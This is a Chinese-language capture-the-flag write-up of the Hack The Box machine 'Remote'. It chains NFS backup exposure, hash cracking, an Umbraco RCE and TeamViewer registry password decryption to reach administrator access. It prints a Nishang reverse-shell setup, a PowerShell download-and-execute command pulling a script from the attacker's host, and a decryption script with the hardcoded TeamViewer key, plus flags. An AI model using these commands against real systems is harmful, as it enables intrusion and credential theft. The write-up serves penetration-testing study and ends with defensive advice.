[Meachines] [Easy] Remote NFS备份文件泄露+Umbraco-RCE+TeamViewer权限提升
字数 1200 2025-08-19 12:41:28

Windows渗透测试实战:NFS备份文件泄露+Umbraco RCE+TeamViewer权限提升

1. 信息收集阶段

1.1 初始扫描

使用nmap进行全端口扫描:

nmap -p- 10.10.10.180 --min-rate 1000 -sC -sV

扫描结果摘要:

  • 开放端口:21(FTP), 80(HTTP), 111(RPC), 135(MSRPC), 139(NetBIOS), 445(SMB), 2049(NFS), 5985(WinRM), 47001(HTTP), 49664-49680(MSRPC)
  • 操作系统:Windows
  • 关键服务
    • FTP允许匿名登录
    • HTTP运行Microsoft HTTPAPI httpd 2.0
    • NFS服务可用

1.2 服务探测

HTTP服务探测

whatweb http://10.10.10.180/ -v

发现运行Umbraco CMS系统

NFS共享检查

showmount -e 10.10.10.180

发现/site_backups共享

2. 利用NFS获取Umbraco凭据

2.1 挂载NFS共享

sudo mkdir -p /mnt/10.10.10.180
sudo mount -t nfs 10.10.10.180:/site_backups /mnt/10.10.10.180

2.2 提取Umbraco数据库

在挂载的目录中找到App_Data/Umbraco.sdf文件,使用strings提取管理员凭据:

strings App_Data/Umbraco.sdf | grep admin

输出:

username:admin
admin@htb.local
hash:b8be16afba8c314ad33d812f22a04991b90e2aaa

2.3 破解哈希

使用hashcat破解NTLM哈希:

hashcat -m 100 b8be16afba8c314ad33d812f22a04991b90e2aaa /usr/share/wordlists/rockyou.txt --force

破解结果:baconandcheese

3. Umbraco认证与RCE利用

3.1 登录Umbraco后台

访问后台地址:

http://10.10.10.180/Umbraco#/login/false?returnPath=%252FUmbraco

使用凭据:admin@htb.local / baconandcheese

3.2 准备反向Shell

使用Nishang的PowerShell反向Shell脚本:

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.24 -Port 10032" >> Invoke-PowerShellTcp.ps1

3.3 利用Umbraco RCE漏洞

参考Exploit-DB 46153,构造执行命令:

/c powershell -c iex(new-object net.webclient).downloadstring('http://10.10.16.24/Invoke-PowerShellTcp.ps1')

4. 权限提升:TeamViewer密码解密

4.1 发现TeamViewer安装

在系统中发现TeamViewer Version7安装

4.2 提取加密密码

检查注册表项:

Get-ItemProperty -Path HKLM:\software\wow6432node\teamviewer\version7

获取SecurityPasswordAES值

4.3 解密密码

使用Python脚本解密:

from Crypto.Cipher import AES

key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
ciphertext = bytes([255, 155, 28, 115, 214, 107, 206, 49, 172, 65, 62, 174, 19, 27, 70, 79, 88, 47, 108, 226, 209, 225, 243, 218, 126, 141, 55, 107, 38, 57, 78, 91])

aes = AES.new(key, AES.MODE_CBC, IV=iv)
password = aes.decrypt(ciphertext).decode("utf-16").rstrip("\x00")
print(f"[+] Found password: {password}")

解密结果:!R3m0te!

4.4 获取管理员权限

使用破解的密码通过WinRM登录:

crackmapexec smb 10.10.10.180 -u administrator -p '!R3m0te!'
evil-winrm -u administrator -p '!R3m0te!' -i 10.10.10.180

5. 获取Flag

  • 用户Flag:c9b78c488c6ae1828b13d050b156d542
  • 系统Flag:858343dff7922d618a28508565307822

关键点总结

  1. NFS共享暴露:Windows系统配置NFS共享可能导致敏感文件泄露
  2. Umbraco默认数据库位置App_Data/Umbraco.sdf存储用户凭据
  3. TeamViewer密码存储:Version7及以下版本在注册表中存储可解密的密码
  4. 权限提升路径:从Web应用RCE到系统管理员权限的完整路径

防御建议

  1. 限制NFS共享的访问权限
  2. 加强Umbraco管理员密码复杂度
  3. 及时更新TeamViewer到最新版本
  4. 禁用不必要的服务端口
  5. 实施最小权限原则
Windows渗透测试实战:NFS备份文件泄露+Umbraco RCE+TeamViewer权限提升 1. 信息收集阶段 1.1 初始扫描 使用nmap进行全端口扫描: 扫描结果摘要: 开放端口 :21(FTP), 80(HTTP), 111(RPC), 135(MSRPC), 139(NetBIOS), 445(SMB), 2049(NFS), 5985(WinRM), 47001(HTTP), 49664-49680(MSRPC) 操作系统 :Windows 关键服务 : FTP允许匿名登录 HTTP运行Microsoft HTTPAPI httpd 2.0 NFS服务可用 1.2 服务探测 HTTP服务探测 : 发现运行Umbraco CMS系统 NFS共享检查 : 发现 /site_backups 共享 2. 利用NFS获取Umbraco凭据 2.1 挂载NFS共享 2.2 提取Umbraco数据库 在挂载的目录中找到 App_Data/Umbraco.sdf 文件,使用strings提取管理员凭据: 输出: 2.3 破解哈希 使用hashcat破解NTLM哈希: 破解结果: baconandcheese 3. Umbraco认证与RCE利用 3.1 登录Umbraco后台 访问后台地址: 使用凭据: admin@htb.local / baconandcheese 3.2 准备反向Shell 使用Nishang的PowerShell反向Shell脚本: 3.3 利用Umbraco RCE漏洞 参考Exploit-DB 46153,构造执行命令: 4. 权限提升:TeamViewer密码解密 4.1 发现TeamViewer安装 在系统中发现TeamViewer Version7安装 4.2 提取加密密码 检查注册表项: 获取SecurityPasswordAES值 4.3 解密密码 使用Python脚本解密: 解密结果: !R3m0te! 4.4 获取管理员权限 使用破解的密码通过WinRM登录: 5. 获取Flag 用户Flag: c9b78c488c6ae1828b13d050b156d542 系统Flag: 858343dff7922d618a28508565307822 关键点总结 NFS共享暴露 :Windows系统配置NFS共享可能导致敏感文件泄露 Umbraco默认数据库位置 : App_Data/Umbraco.sdf 存储用户凭据 TeamViewer密码存储 :Version7及以下版本在注册表中存储可解密的密码 权限提升路径 :从Web应用RCE到系统管理员权限的完整路径 防御建议 限制NFS共享的访问权限 加强Umbraco管理员密码复杂度 及时更新TeamViewer到最新版本 禁用不必要的服务端口 实施最小权限原则